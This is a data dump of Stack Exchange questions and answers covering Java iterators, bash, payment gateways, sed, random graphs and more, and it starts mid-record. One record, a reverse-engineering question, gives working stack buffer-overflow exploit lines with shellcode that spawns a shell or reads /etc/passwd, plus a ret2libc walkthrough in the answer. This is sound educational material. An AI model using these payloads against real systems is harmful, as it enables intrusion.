FindInterWalls(dc.Curve, f, walls))            {                Reservation.Res res = new Reservation.Res();                res.RoundCenter = new XYZ(Math.Round(pair.Key.X), Math.Round(pair.Key.Y), Math.Round(pair.Key.Z));                res.WallWidth = pair.Value.Width;                bool containsItemX = resList.Any(itemX => itemX.RoundCenter.DistanceTo(res.RoundCenter) < res.WallWidth + 1);                if (!containsItemX)                {                    res.AssociatedWall = pair.Value;                    res.Radius = 1;                    res.AssociatedDuct = dc.Duct;                    res.Center = pair.Key;                    resList.Add(res);                    model.Reservations.Add(new Reservation { ResList = resList });                }            }        }    }}"  } 
{  "id": "_codereview.161866"  , "question": "I have written this DynamicIterable that can be used as a Lazy Iterable, where you give it a Supplier<T> of something and a number of times it can be used. This is an Iterable of T and it stores the consumed values, so when the iterator is called for a second or additional times, it does not use the Supplier again.Example: when iterating, the supplier makes HTTP requests for the next pages. This Iterable allows that and for the next times it does not make new requests and just uses a privately saved list.I really do not like the ifstatements (because they can often lead to errors, and while developing I had to figure out exactly how they should be) and I wonder if this code could be trimmed down a little more.Is this the right approach?Can I trim down most comparisons, avoiding errors because of ifs or having to change to much to introduce new functionality?Is there any part of the code where I could use one-liners? (Simple one-liners, not those with more than 3 lines for example).import java.util.ArrayList;import java.util.Iterator;import java.util.List;import java.util.NoSuchElementException;import java.util.function.Supplier;/** * Created by wgoncalves on 24-04-2017. * This is a {@link DynamicIterable<T>}, it grows when needed and saves the various items already processed, works almost like * a cache. * * For use all that is needed is a {@link Supplier<Iterable<T>>}, denominated {@link #feeder}, and an indication of how many times * is this feeder supposed to be used, {@link #MAX_FEED_COUNT}. This has a very important implication, it is implied that * this {@link #feeder} changes state for each time its {@link Supplier#get()} method is called. If this {@link Supplier<Iterable<T>>} * is always returning the same thing, the behaviour is not different, this {@link Iterable<T>} will feed of it as many * times as it is required (accordingly to {@link #MAX_FEED_COUNT}. * * After consuming every item ({@link T}) of this {@link Iterable<T>}, for subsequent consumptions the {@link #feeder} will * NOT BE USED at all. The elements are kept in a {@link List<T>}, namely {@link #finalList}, so as when the next call * to {@link #iterator()} is made, the {@link #finalList#iterator()} is used to return an {@link Iterator<T>}. * * There is the option to provide a starting set of items to be consumed, before the {@link #feeder} is used for next * items. If the method {@link #startWith(Iterable)} is used, the first elements when this {@link Iterable<T>} is consumed, * shall be the contents of the {@link Iterable<T>} passed to {@link #startWith(Iterable)} method. * * A last option is to provide a {@link Runnable} to be used as a way to do work every time {@link #feeder} is used. * To include this option there is the method {@link #updating(Runnable)}, where the given {@link Runnable} is invoked * after each feed of {@link #feeder}. */public class DynamicIterable<T> implements Iterable<T> {    /**     * This is the feeder, for when {@link Iterable<T>} are needed this {@link Supplier<Iterable<T>>} is used     * to retrieve the next one.     * If the conditions are valid this supplier will always try to retrieve next elements, even if the same elements     * are being retrieved over and over again.     */    private final Supplier<Iterable<T>> feeder;    /**     * Represents the list containing every element ever retrieved, so that when an {@link Iterator<T>} is requested for     * the second time, this {@link List<T>}'s iterator is returned instead.     */    private List<T> finalList = new ArrayList<>();    /**     * Indicates how many times {@link #feeder} should be used for retrieving {@link Iterable<T>}.     */    private final int MAX_FEED_COUNT;    /**     * Controls how many times {@link #feeder} has been used.     */    private int feedCount = 0;    /**     * Allows the user of this {@link DynamicIterable<T>} to be notified every time the supplied {@link #feeder} is     * used. This can be useful maybe if the state of something outside should change (most of the cases), as the other     * option would be apply the change inside {@link #feeder}. This way responsibilities are separated, and this is     * the recommended usage, but if desired this may not be used at all, and the changing state can be made inside     * {@link #feeder}.     */    private Runnable updater = () -> {  };    /**     * Allows controlling of the use of the {@link Iterable<T>} supplied by {@link #startWith(Iterable)} method.     */    private boolean toConsumeFirst = false;    /**     * Current {@link Iterator<T>} in use, this will change for every {@link #feeder} usage, and for the starting     * {@link Iterable<T>} if present.     */    private Iterator<T> currentIterator;    /**     * Supplies the next {@link Iterator<T>}, changing the {@link #feedCount} (incrementing) and also     * runs the {@link #updater}, for notification of a feed.     */    private Supplier<Iterator<T>> nextIterator =  this::getNextIterator;;    public DynamicIterable(Supplier<Iterable<T>> feeder, int MAX_FEED_COUNT) {        this.feeder = feeder;        this.MAX_FEED_COUNT = MAX_FEED_COUNT;    }    @Override    public Iterator<T> iterator() {        if(!toConsumeFirst && feedCount >= MAX_FEED_COUNT ) // this means this method has been called previously            return finalList.iterator();                    //   and so all elements are in finalList        return new Iterator<T>() {            @Override            public boolean hasNext() {                while(currentIterator == null || !currentIterator.hasNext()){                    if(!toConsumeFirst && feedCount >= MAX_FEED_COUNT ){ // If all feeds are done, this only holds                        return false;                                    //   if the initial iterable has been consumed                    }                    currentIterator = nextIterator.get(); // get next iterator (whatever it may be)                }                return true;            }            @Override            public T next() {                if(!hasNext())                    throw new NoSuchElementException(No Next Element in DynamicIterable);               return addThenReturnIt(currentIterator.next()); // add to finalList and then return it            }        };    }    private Iterator<T> getNextIterator() {        ++feedCount;        Iterator<T> iterator =  feeder.get().iterator();        updater.run();        return iterator;    }    /**     * Convenience method for saving an item an then returning the saved item.     * Instead of creating trash local variables (technically) it still creates it.     * @param t Item {@link T} to be saved and then returned.     * @return The same {@link T} received.     */    private T addThenReturnIt(T t){        finalList.add(t);        return t;    }    /**     * For indication of a previous {@link Iterable<T>} for which to start of.     * This does not count as a feed, i.e if this set of {@link T}'s is passed and at the same time the     * feed count ({@link #MAX_FEED_COUNT} is set as 0, these elements are still returned when consuming this current     * {@link Iterable<T>}, just subsequent feeds are not used.     * @param startIterable {@link Iterable<T>} representing the starting collection of items to start with.     * @return Current {@link DynamicIterable<T>} for chaining functionality.     */    public DynamicIterable<T> startWith(Iterable<T> startIterable){        toConsumeFirst = true;        nextIterator = () -> {            toConsumeFirst = false;            nextIterator = this::getNextIterator;            return startIterable.iterator();        };        return this;    }    /**     * For allowing updates whenever a feed operation is made.     * @param updater {@link Runnable} that is to be run for each feed.     * @return Current {@link DynamicIterable<T>} for chaining functionality.     */    public DynamicIterable<T> updating(Runnable updater){        this.updater = updater;        return this;    }}Here is a simple usage with Integers (the Supplier of Iterable of Integers here could be a long running operation that would benefit from laziness).import java.util.Arrays;import java.util.List;public class Main {    private static List<Integer> list1, list2, list3, list4, list5;    private static List<Integer>[] contents;    static {        list1 = Arrays.asList(10,11,12,13,14,15);        list2 = Arrays.asList(20, 21,22,23,24,25,26,27,28,29,30);        list3 = Arrays.asList(30,31);        list4 = Arrays.asList(40,41,42);        list5 = Arrays.asList(50,51,52,53);        contents = new List[]{list1, list2, list3, list4, list5};    }    public static void main(String[] args) throws Exception{ // You need to handle this exception        System.out.println(Main App);        int[] counter = new int[]{1};        DynamicIterable<Integer> dynamicIterable = new DynamicIterable<>(() -> contents[counter[0]], contents.length - 1)                .startWith(contents[0])                .updating(() -> ++counter[0]);        dynamicIterable.forEach(System.out::println);    }}"  , "title": "DynamicIterable"  , "tags": "java;object oriented;iterator;lambda"  } 
{  "id": "_unix.382003"  , "question": "From bash manual, for conditional expressionsstring1 == string2string1 = string2True if the strings are equal.When used with the [[ command, this performs pattern matching as described above (see Section 3.2.4.2 [Conditional Constructs], page  10).What does pattern matching mean here?What is pattern matching opposed to here?If not used with [[ but with other commands, what does this perform?= should be used with the test command for posix conformance.What does POSIX say here?What is the sentence opposed to?Can == be used with test command? I tried and it seems yes.Can = be used with other commands besides test? I tried = with [[ and [, and it seems yes.what are the differences between == and =?In Bash 4.3, I tried == and = with test, [[, and [. ==and = look the same to me.   Can == and = be used interchangeably in any conditional expression?Thanks."  , "title": "what are the differences between `==` and `=` in conditional expressions?"  , "tags": "bash"  } 
{  "id": "_softwareengineering.319080"  , "question": "This question comes to my mind having just lost some money while ordering Pizza. Most internet merchants (atleast in India) use synchronous page redirection for integration with Banks and payment gateways. It works like this: when you visit a merchant site and checkout something it redirects you to the payment gateway passing along request as arguments in a POST or GET request, which redirects you to the bank, which redirects you to verified by Visa and then redirections all the way back. The problem is that often the redirection would fail or break due to a network error, slow connection, domain blocked by company firewall etc and the payment would get lost.Off the top of my head, such integrations would be much better handled using an asynchronous MOM provider. Example: the merchant places a payment request message signed with his private key on Bank's MOM queue and asks the user to authorize the payment with his bank. The user opens Bank's mobile app or website and sees the request in list of pending payment requests. Once authorized the Bank places a message back on Merchant's MOM queue and all is done.From my primitive google-fu it seems not many payment gateways are providing asynchronous integration.Am I missing a web design principal here or is just mass incompetence? Why don't more gateways use an asynchronous approach?"  , "title": "Why do most payment gateways use synchronous integration?"  , "tags": "design;integration"  , "accepted_answer": "The sort answer is 'history'.If you go back even just 10 years, banks only did payments at physical devices, terminals. Where you would have one terminal id per payment device. All transactions needed to supply this terminal id. Obviously, you couldn't leave the shop with your goods until you had successfully paid. Hence the synchronous nature of payments. The key thing here is a merchant can only use one terminal id at a time.Then the internet came along and merchant said why can we not just do payments online?. So, the banks said, OK, send along everything you normally would, just flagged slightly differently (so we can charge you more). This bank message includes the terminal id. Therefore internet transactions inherited the synchronous nature of card present transactions.Then add on top fraud protection devices such as 3DS and CV2AVS, and changing becomes really difficult for the poor old banks.You will find newer banks will implement asynchronous payment methods which 'may' be a better model. But then you'll be fighting with two forces. Merchants saying, why do I have to change my payment model when moving from 'old bank' to 'cool bank'. Customers saying I've bought a pizza, but I'm scared because it did something I wasn't expecting and I don't know if I paid.You cannot underestimate either of these effects. We're therefore left with majority of synchronous payment models throughout the internet.Don't jump straight on the ''incompetent'' camp, since it much easier to design how a perfect world would work when we don't have a real world to deal with.Hope this helps."  } 
{  "id": "_unix.147185"  , "question": "I have a bash script. If I run this command to:grep for certain patterns, transform the output, sort the output dedupe the output then I get one grep find per line in terminalLC_ALL=C grep -o --color -h -E -C 0 -r $pattern /pathto/Pre_N/ | tr -d '[:digit:]' | sort | uniqHowever, if I put it in an output variable then the formatting is lost (upon echoing to a file or echoing on screen).#!/usr/bin/env bashoutput=$(LC_ALL=C grep -o --color -h -E -C 0 -r $pattern /pathto/Pre_N/ | tr -d '[:digit:]' | sort | uniq)echo $output > $fnHow can I preserve the formatting of the out put of this command once I save it to a variable? "  , "title": "Preserve formatting when command output is sent to a variable?"  , "tags": "bash;scripting"  } 
{  "id": "_reverseengineering.14957"  , "question": "I have a server (for reference: pastebin.com/ghJX69uH) that I can netcat to and it will ask to input a message.I know it is vulnerable to buffer overflow, but I can't seem to get the shellcode to run. I have successfully pointed the return address back to the NOP slide and it hits the /bin/sh but it does not spawn a shell. Here is my code:echo `python -c 'print \\x90*65517 + \\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80  + \\xac\\xf3\\xfe\\xbf*10 + \\n'` | nc 127.0.0.1 1111It's a simple buffer overflow with [NOP SLIDE | SHELLCODE (spawn shell /bin/sh) | return address]The first image shows that the return address is 0xbffef3ac which goes to NOP sled, so all is OK! The second image shows a SIGSEGV with no shell, nothing happens. What's going on here? I had a look at ebp and it showed something weird: my \\x90 followed by what should be my shellcode, but looking differently. Any insights on what could be wrong or how to go about this?0xbffef42c: 0x90909090  0x90909090  0x90909090  0x909090900xbffef43c: 0x90909090  0x90909090  0x90909090  0x909090900xbffef44c: 0x90909090  0x50c03190  0x732f2f68  0x622f68680xbffef45c: 0xe3896e69  0xbffef468  0x00000000  0x6e69622f0xbffef46c: 0x68732f2f  0x00000000  0xbffef3ac  0xbffef3ac0xbffef47c: 0xbffef3ac  0xbffef3ac  0xbffef3ac  0xbffef3ac0xbffef48c: 0xbffef3ac  0x00000000  0x00000000  0x000000000xbffef49c: 0x00000000  0x00000000  0x00000000  0x00000000Edit: Format of code is from numberphile, shellcode is from http://shell-storm.org/shellcode/files/shellcode-827.php, which I ran and spawns a shell. I tried adding padding (I put A's) between shellcode and return address, but something strange happens again:New code: echo `python -c 'print \\x90*65490 + \\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80  + A*27 + \\xac\\xf4\\xfe\\xbf + \\n'` | nc 127.0.0.1 11290xbffef42c: 0x90909090  0x90909090  0x90909090  0xc03190900xbffef43c: 0x2f2f6850  0x2f686873  0x896e6962  0x895350e30xbffef44c: 0xcd0bb0e1  0x41414180  0x41414141  0x414141410xbffef45c: 0x41414141  0x41414141  0x41414141  0x000000010xbffef46c: 0xbffef4ac  0x08049000  0x00000004  0xbffff4a40xbffef47c: 0xbffff490  0xbffff48c  0x00000004  0x000000000xbffef48c: 0x00000000  0x00000000  0x00000000  0x000000000xbffef49c: 0x00000000  0x00000000  0x00000000  0x000000000xbffef4ac: 0x00000000  0x00000000  0x00000000  0x0000000Edit: So i managed to successfully print all of the etc/passwd, but not sure why the /bin/sh shellcode doesnt workWorks: /etc/passwdecho `python -c 'print \\x90*65478+\\x31\\xc9\\x31\\xc0\\x31\\xd2\\x51\\xb0\\x05\\x68\\x73\\x73\\x77\\x64\\x68\\x63\\x2f\\x70\\x61\\x68\\x2f\\x2f\\x65\\x74\\x89\\xe3\\xcd\\x80\\x89\\xd9\\x89\\xc3\\xb0\\x03\\x66\\xba\\xff\\x0f\\x66\\x42\\xcd\\x80\\x31\\xc0\\x31\\xdb\\xb3\\x01\\xb0\\x04\\xcd\\x80\\x31\\xc0\\xb0\\x01\\xcd\\x80  +AAAA\\x9c\\xf3\\xfe\\xbf\\x9c\\xf3\\xfe\\xbf + \\n'` | nc 127.0.0.1 2010Doesnt't work: /bin/shecho `python -c 'print \\x90*65513 + \\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80 + AAAA\\x9c\\xf3\\xfe\\xbf\\x9c\\xf3\\xfe\\xbf\\x9c + \\n'` | nc 127.0.0.1 3003"  , "title": "Buffer overflow on server"  , "tags": "gdb;exploit;buffer overflow;shellcode"  , "accepted_answer": "We have two major stack protection for buffer overflows:Stack canariesNon-executable stackYou land on nopsled but, you get segmentation fault. Because your operating system marked program stack as non-executable and processor raises the exception when program counter try to execute that segment. But, even we use executable stack (for GCC use -z execstack) your program crashes:I changed shellcode to read /etc/passwd, it works until another SIGSEGV. It is not relevant why your previous shellcode doesn't work, it is a practical problem.For another scenario:How can we get around non-executable stack? Most common way is ret2libc (return to libc) using system(const char *). But, we will use _exit(int) for simplicity. For our new attack, i compiled it with non-executable stack option and send same stream.$ nc localhost 1337 < exp.loitLets look our stack:We can't understand which part of your input overflows where and we need that to pass the argument(s). I tried a little to find which goes where:python -c 'print \\x90*65482 + \\x31\\xc9\\x31\\xc0\\x31\\xd2\\x51\\xb0\\x05\\x68\\x73\\x73\\x77\\x64\\x68\\x63\\x2f\\x70\\x61\\x68\\x2f\\x2f\\x65\\x74\\x89\\xe3\\xcd\\x80\\x89\\xd9\\x89\\xc3\\xb0\\x03\\x66\\xba\\xff\\x0f\\x66\\x42\\xcd\\x80\\x31\\xc0\\x31\\xdb\\xb3\\x01\\xb0\\x04\\xcd\\x80\\x31\\xc0\\xb0\\x01\\xcd\\x80  + \\x90*12 + \\xac\\xf3\\xfe\\xbf +\\x00\\x11\\x22\\x33*2 + \\n' > exp.loitWe get:We just need _exit addressgdb-peda$ p &_exit$1 = (<text variable, no debug info> *) 0xb7ec6f24 <_exit>Now we are ready to execute our exploit:python -c 'print \\x90*65482 + \\x31\\xc9\\x31\\xc0\\x31\\xd2\\x51\\xb0\\x05\\x68\\x73\\x73\\x77\\x64\\x68\\x63\\x2f\\x70\\x61\\x68\\x2f\\x2f\\x65\\x74\\x89\\xe3\\xcd\\x80\\x89\\xd9\\x89\\xc3\\xb0\\x03\\x66\\xba\\xff\\x0f\\x66\\x42\\xcd\\x80\\x31\\xc0\\x31\\xdb\\xb3\\x01\\xb0\\x04\\xcd\\x80\\x31\\xc0\\xb0\\x01\\xcd\\x80  + \\x90*12 + \\x24\\x6f\\xec\\xb7 +\\x01\\x00\\x00\\x00*2 + \\n' > exp.loitBasically ret2libc is that."  } 
{  "id": "_webmaster.5237"  , "question": "Say I'm going to link to another site using the phrase banana split and chocolate sauce.  Is my vote evenly split between banana split and chocolate sauce or is this much weaker than if I had just voted for banana split in the first place?"  , "title": "Roughly, how strong is a soft vote versus a hard vote for keywords?"  , "tags": "seo"  } 
{  "id": "_unix.73674"  , "question": "I need to write a script which would execute some executables in a directory according to the last modified date. The oldest should run first. How do I do it?This is what I have done so farfor f in  ./jobqueue/*; #accessing the queuedo     chmod +x *  # giving executable permission for the files    $f  # running the executablesdone"  , "title": "Executing a program according to the last modified date"  , "tags": "linux;shell script;scripting;date"  , "accepted_answer": "Provided that your filenames don't contain spaces or tabs or newlines or ? or * or [ and that the directory doesn't contain subdirectories, you might try something likefor f in $(ls -tr ./jobqueue/) ; do  chmod +x ./jobqueue/$f  ./jobqueue/$fdone"  } 
{  "id": "_unix.300006"  , "question": "I have been asked to setup an automated trigger on Unix upon receiving a certain kind of email from MS Exchange server.The requirement is to trigger a shell script when any person from a fixed list of senders sends an email via MS Exchange server to a designated email account on unix.For example:Email from rob81@host1.com (Exchange Server) sends an email to unix@host2.com (Linux) with the subject: Unlock Account XThis ideally should trigger a shell script that will have code to unlock Account X.Is there a way to configure this on Unix so that upon receiving an email as described above, I can trigger a shell script?"  , "title": "How to trigger shell script on Unix via email from Exchange Server"  , "tags": "shell script;email"  , "accepted_answer": "There are multiple solutions to this problem. As suggested by Rahul in the comments, I would use procmail and edit .procmailrc  to something like this::0* ^From.*someone.i.dont.like@somewhere.org* !^FROM_DAEMON* !^FROM_MAILER* ^Subject:.*Unlock| /path/to/your/script"  } 
{  "id": "_unix.139051"  , "question": "I need to batch edit file creation date (some stupid audio recorder set the file creation date to UNIX epoch and the correct recording date in the modification date) to set it to the files modification date. I am aware of the touch command which can set a file creation like this touch -t 201406251546.10 filename.wav but I don't know how to retrieve each file modification date to give it as an argument to the touch command.I also know that the ls -lT command prints the modification time before each file but on my system (OS X 10.9) the output is localized which is not really handy for batch processing  Any idea on how to do this?"  , "title": "Set file creation date to its modification date on OSX"  , "tags": "files;osx;timestamps;touch"  } 
{  "id": "_cogsci.12231"  , "question": "I have files: left_fg+tlrc.BRIK and left_fg+tlrc.HEAD. I want to know how to convert the files to left_fg+orig.BRIK and left_fg+orig.HEAD. Thanks!"  , "title": "How to convert .tlrc file to .orig file?"  , "tags": "cognitive neuroscience;fmri"  } 
{  "id": "_unix.222503"  , "question": "I created two files in /etc/systemd/network/vbr0.netdevvbr0.networkThen I reloaded systemd-networkd, however interface vbr0 is DOWNvbr0.netdev:[NetDev]Name=vbr0Kind=bridgevbr0.network:[Match]Name=vbr0[Network]DNS=8.8.8.8Address=192.168.1.1/24DHCPServer=yesip link show vbr05: vbr0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group defaultlink/ether d2:1a:32:c1:26:bd brd ff:ff:ff:ff:ff:ffinet 192.168.1.1/24 brd 192.168.1.255 scope global vbr0   valid_lft forever preferred_lft foreverinet6 ::ffff:192.168.1.1/0 scope global tentative   valid_lft forever preferred_lft foreverStatus of systemd-networkdsystemd-networkd.service - Network Service   Loaded: loaded (/lib/systemd/system/systemd-networkd.service; disabled)   Active: active (running) since Tue 2015-08-11 12:55:20 CEST; 19h ago     Docs: man:systemd-networkd.service(8) Main PID: 21937 (systemd-network)   Status: Processing requests...   CGroup: /system.slice/systemd-networkd.service           21937 /lib/systemd/systemd-networkdAug 11 12:55:20 infra systemd-networkd[21937]: veth6cce540     : gained carrierAug 11 12:55:20 infra systemd-networkd[21937]: veth839e4d9     : gained carrierAug 11 12:55:20 infra systemd-networkd[21937]: veth5dacf8a     : gained carrierAug 11 12:55:20 infra systemd-networkd[21937]: vethd396754     : gained carrierAug 11 12:55:20 infra systemd-networkd[21937]: veth2ba9645     : gained carrierAug 11 12:55:20 infra systemd-networkd[21937]: docker0         : gained carrierAug 11 12:55:20 infra systemd-networkd[21937]: eth0            : gained carrierAug 11 12:55:20 infra systemd-networkd[21937]: lo              : gained carrierAug 11 12:55:20 infra systemd[1]: Started Network Service.Aug 11 12:55:20 infra systemd-networkd[21937]: vbr0            : link configuredsystemd version - 215What's wrong with my config?"  , "title": "Can't setup private network with systemd-networkd"  , "tags": "private network;systemd networkd"  } 
{  "id": "_unix.165007"  , "question": "I have a mutt mail client installed for receiving backup logs on my server for monitoring,Is there a way I can read the body of a mail message directly in the client in a way that I can search for a specific string or strings within it, and if found to trigger an alert mail sending?Something like a log watcher only working with mutt or some else mail client that scans every mail that arrives."  , "title": "Log monitoring directly from a mail client"  , "tags": "debian;logs;mutt"  , "accepted_answer": "Apline and Mutt both don't work, or at least they are not needed.After a tons of research and tries the solution was to install Fetchmail as a MRA and install Procmail as a MDA, then Procmail would do the error string search because it has the egrep function built in, and supports mail forwarding based on regular exp. match.So the mail client is not needed at all, it was rather simple after a research of the two software tools man pages."  } 
{  "id": "_unix.189202"  , "question": "My document doc.lst is compound with numbers and letters like this : 01 ABC and I want to take only the ABC part. I tried this, but it includes the numbers in my result.lst.    sed -n -e '/[A-Z][A-Z][A-Z]/p' < doc.lst > result.lstHow to delete those numbers?"  , "title": "sed command doesn't return what I want"  , "tags": "bash;sed;ksh"  , "accepted_answer": "sed -n -e '/[A-Z][A-Z][A-Z]/p'prints the lines that match that regexp.Here, you'd want:sed -n 's/.*\\([[:upper:]]\\{3\\}\\).*/\\1/p'That is, you want to substitute a sequence of any characters (as many as possible) followed by 3 uppercase letters (captured in \\1 with \\(...\\)) followed by a sequence of any characters with the captured letters and print the result of that substitution if it matches (the p flag of the s command).Note that it will only print one set per line (the rightmost one).To print all of them, you could do:tr -cs '[:upper:]' '[\\n*]' | grep -Ex '.{3}'(note that with some tr implementations, it doesn't work properly with multi-byte characters).The idea being to transliterate sequences of the complement of uppercase letters to newline characters, so that tr's output contain all sequences of uppercase characters. Then you can do an exact grep for the ones you're interested in.On an input like FOO BAR02 ABCDEF, it would print:FOOBARWhile the previous solution would print DEF. If you have GNU grep, you could use its -o option:grep -Eo '[[:upper:]]{3}'Which would print:FOOBARABCDEF"  } 
{  "id": "_unix.355907"  , "question": "I am thinking to use a bash code to solve the following issue in my data. Considering the bellow data set in hapmap format in which I need to replace some  characters (letters in this case) based on the data of the column alleles. Data in the column alleles will be a combination in pairs of four letters (A, G, C, and T). rs#    alleles  chro    pos    ind1 ind2 ind3 ind4 ind5 ind6. . mar_1   G/T     1       2386806 G    T    T    G   K    T    mar_2   T/G     1       2386848 T    G    T    K   T    Kmar_3   G/T     1       2387553 T    K    G    K   T    Gmar_4   G/A     1       2564608 G    G    G    N   R    Amar_5   C/T     1       2564616 C    Y    C    Y   T    N..What I want to get is a code that go through the entire row (in the case of row 1) and when it find a letter T (letter after the /) replace it by a letter G (letter before the /) and when it find either a letter R, Y, S, W, K, or M replace it by T (letter after /). In other words the code has to find (in each row) all the letters that match with the letter after the / (in the column alleles) and replace them by a letter that match with the letter before the /. And, when it finds a letter that match with one of these: (R,Y, S, W, K, or M) it has to replace it by a letter that match with the one after the /. The output I would like to get is:rs#    alleles  chro    pos    ind1 ind2 ind3 ind4 ind5 ind6. . mar_1   G/T     1       2386806 G    G    G    G   T    G    mar_2   T/G     1       2386848 T    T    T    G   T    Gmar_3   G/T     1       2387553 G    T    G    T   G    Gmar_4   G/A     1       2564608 G    G    G    N   A    Gmar_5   C/T     1       2564616 C    T    C    T   C    N..Note: The N means a missing value, so it has to be kept such is it. Any help with this issue will be greatly appreciate."  , "title": "Replace characters in a hapmap data set"  , "tags": "shell script;text processing;replace;bioinformatics"  , "accepted_answer": "With perl$ perl -F'\\s+|/' -lape '     s/^(\\S+\\s+){4}\\K.*/$&=~s|$F[2]|$F[1]|gr/e;     s/^(\\S+\\s+){4}\\K.*/$&=~s|[RYSWKM]|$F[2]|gr/e  ' ip.txtrs#    alleles  chro    pos    ind1 ind2 ind3 ind4 ind5 ind6. . mar_1   G/T     1       2386806 G    G    G    G   T    G    mar_2   T/G     1       2386848 T    T    T    G   T    Gmar_3   G/T     1       2387553 G    T    G    T   G    Gmar_4   G/A     1       2564608 G    G    G    N   A    Gmar_5   C/T     1       2564616 C    T    C    T   C    N-F'\\s+|/' split input line on white spaces or the / character, saved in @F array^(\\S+\\s+){4}\\K.* will get all columns except the first four$&=~s|$F[2]|$F[1] on the matched portion (columns except first four) perform another substitution$F[2] will contain the character after / and $F[1] will contain the character before /The r modifier returns the final substituted string and e modifier allows to use Perl code in replacement sectionSince same pattern is used again, the second substitution can also be shortened to s//$&=~s|[RYSWKM]|$F[2]|gr/eSee command switches for explanation on -lape options"  } 
{  "id": "_cs.52270"  , "question": "I am looking for a formula for determining the expected number of independent sets of size $k$ (for arbitrary $k$) in a random graph $G(n,p)$. Here $n$ is the number of vertices and each edge is included with independent probability $p$. I would like to be able to calculate this for arbitrary $p$ if possible.I have come across the article [1] which provides a formula for the special case $p = 0.5$.I have also come across the article [2] which in p. 12 provides a value for some cases other than $p = 0.5$, so I would assume it is known for some $p$ values other than $0.5$. My questions are:Do you know how one shows, or could you provide a reference for the formula shown in [1] for the case $p = 0.5$. The paper gives some references but they are about clique problems and I am not sure how I could arrive from them to the result shown in that paper.Is there a known formula for arbitrary $p$?If not, for what $p$ values is a formula known and where could I find such formulas?[1] Chromatic and Independence Numbers of $G_{{n}, {{1}\\over{2}}}$[1] Feo, Thomas A., Mauricio GC Resende, and Stuart H. Smith. A Greedy Randomized Adaptive Search Procedure for Maximum Independent Set. Operations Research 42, no. 5 (1994): 86078. "  , "title": "Expected number of independent sets of size $k$ in random graph $G(n,p)$"  , "tags": "graph theory;graphs;clique"  , "accepted_answer": "The probability that a specific set of size $k$ is independent is exactly $(1-p)^{\\binom{k}{2}}$ (why?). Linearity of expectation shows that the expected number of independent sets of size $k$ is $\\binom{n}{k} (1-p)^{\\binom{k}{2}}$ (why?).If you can't follow this calculation, please follow Denis Pankratov's advice and look up linearity of expectation and indicator random variables."  } 
{  "id": "_cs.24549"  , "question": "I've seen plenty of statements in papers and on websites that Fast Fourier Transform-based multiplication algorithms are slower than other multiplication algorithms for relatively small input size N, and I've seen plenty of data in papers and on websites demonstrating that this is the case, but nothing I've come across has bothered to explain what causes FFT to be slower for small N.I would guess that the overhead is due to getting the input into a form that FFT can swallow, but I'd like to know what the actual cause of the overhead is and whether it can be reduced.  Note that I'm not talking about switching from some FFT implementation to another method when N is below a certain size as many implementations do, but the source of overhead in the FFT itself and what can be done to reduce it."  , "title": "What is the reason that is FFT multiplication slower than other methods for small N?"  , "tags": "algorithms;algorithm analysis;fourier transform"  , "accepted_answer": "The Wikipedia FFT article says that the split-radix FFT algorithm requires $4N\\log_2N-6N+8$ real multiplications and additions.  Multiplying 2 degree $M$ polynomials results in a polynomial of degree $2M$, so the FFT multiplication of two polynomials goes like this:FFT (size 2M) of polynomial f(x) (evaluate f(x) at the 2M primitive roots of unity)FFT (size 2M) of polynomial g(x) (evaluate g(x) at the 2M primitive roots of unity)multiply each of the 2M fourier coefficients togetherinverse FFT (size 2M) of the fourier coefficients to get the resulting polynomialPerhaps there is a way to make the first two FFTs faster based on the fact that the $M+1$th through $2M$th coefficients of f(x) and g(x) are all zeros, but I don't know it offhand.So we are doing 3 FFTs of size $2M$ plus an additional $2M$ complex multiplies (each of which is 4 real multiplies and 2 real additions so:$$3 (4(2M)\\lg2M - 6(2M)+8)+4M = 24M\\lg M -8M+24$$additions and $24M\\lg M - 4M + 24$ multiplications.Meanwhile the naive polynomial multiplication algorithm (convolution) takes $M^2$ real multiplications and $(M-1)^2$ real additions.  (Proof left as exercise for the reader.)Thus the naive algorithm will be faster for $M \\leq 128$, while the FFT based algorithm will probably be faster at $M \\geq 256$, and the crossover will be somewhere between 128 and 256.  (Proof left as exercise for the reader.)I did this quickly and sloppily, so I'm probably off somewhere (e.g., the forward FFTs are real -> complex, (but is there a DCT version that would be cheaper?) while the reverse is complex -> real (which may have slightly different constants than the ones I used,) and I only did the evaluation at $M$ power of 2 (FFT of non-power of 2s is more expensive.))  Nonetheless, the point stands: the constant multiplier for the FFT is approximately 24, while the constant multiplier for the naive convolution is 1, so you need to compare (something like) $24M\\lg M$ to $M^2$."  } 
{  "id": "_webapps.16103"  , "question": "There's a rather large image in a Stack Overflow post that I'd like to replace with its thumbnail and a link to the full-size image.I know Imgur generates thumbnails for its images when you upload, but since I'm not the original uploader, is there any way for me to find the thumbnail image by URL hackery or some such?"  , "title": "Is it possible to find the thumbnail of an existing Imgur image?"  , "tags": "imgur;thumbnail"  , "accepted_answer": "I can't actually find it documented anywhere, but I uploaded an image and played with the More Sizes list:Originalhttp://i.stack.imgur.com/YdJZt.jpgI haven't included the image inline, because StackExchange would automatically scale it down. To view the original at its full size, click the link.Large thumbnailhttp://i.stack.imgur.com/YdJZtl.jpg (added an l after the image ID)Small squarehttp://i.stack.imgur.com/YdJZts.jpg (added an s after the image ID)It doesn't always handle transparency well, but small square is probably what you want.Image by digitalART2, licensed under CC-BY-2.0, available here."  } 
